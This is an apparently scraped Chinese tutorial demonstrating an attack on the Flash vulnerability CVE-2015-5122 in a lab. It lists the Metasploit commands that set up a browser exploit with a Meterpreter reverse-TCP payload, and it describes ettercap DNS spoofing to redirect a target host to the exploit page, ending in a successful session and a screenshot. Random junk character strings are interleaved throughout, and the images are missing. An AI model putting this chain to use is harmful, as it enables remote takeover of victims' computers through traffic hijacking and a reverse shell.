cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机

; [: ?, J* ?0 C) i& a

8 ~4 o C4 G9 Q! B5 U% h/ s   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： ( q( n2 R5 ~3 y1 T3 o* _

search cve-2015-5122如图： : ~5 n7 T; k- l, V0 O

% s' G2 N: m& j Z& Z9 l

/ M l, E# N7 K5 `5 b! x" x  

Y, }. q m8 V: @( u+ h0 {$ }

下面我们敲如下命令： 0 G- o$ R/ B, C8 b% a7 W# u( F+ h

9 \' R- z% N' Z7 m/ s! W. }" w( A

use exploit/multi/browser/adobe_flash_opaque_background_uaf ) ]7 X+ P e7 K3 T

set PAYLOAD windows/meterpreter/reverse_tcp * k |4 v) H9 j' Z) z9 a8 o5 R

. C6 N1 e4 e7 r5 `% g: i

set LHOST 192.168.0.109 0 Q4 s- N- i! q$ Z# S, t# d% C

9 B& Y* }+ n- u5 ~9 d: u0 }) } set URIPATH /                        /*根目录*/

7 R+ ^) X* G( Y/ t4 S' j& B set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 8 g6 o2 I, w- G. p2 _

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 1 k& [1 ?/ p( g' z% ], i

0 n. o5 x: `! n: S% ]; A

' I6 c1 O z2 [, q# E 然后show options如图： ' \+ v2 P; W( u4 c+ k0 F- O

( m/ b7 O: c& L# v: N, h

# k0 w% [% P2 ~8 y  

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：

$ C7 |1 g, O1 _8 L

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 ' x+ T2 o, {. M0 n/ H

2 ]7 Z, q. [ F7 X9 j1 Q

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf

 

5 [+ }2 Q/ l! @

& t |6 R) q! |3 E* z 成功了，这时候我们断开ettercap，如图： 6 w# X8 ]" P1 c$ Y* x- m

: h- I/ [& I. V   _; g6 l$ Y9 q3 W

$ W- u1 [$ f8 G ]

( ^- |) x. _ E. n7 F, {; Y9 T Screenshot如图： ) Q% n' s2 n9 _

1 v" G D+ e+ B   2 ~% j* {1 h, ]- E- T

7 _: Z- o5 F2 U+ P, G & I/ `% d6 q& \. g% M/ n4 j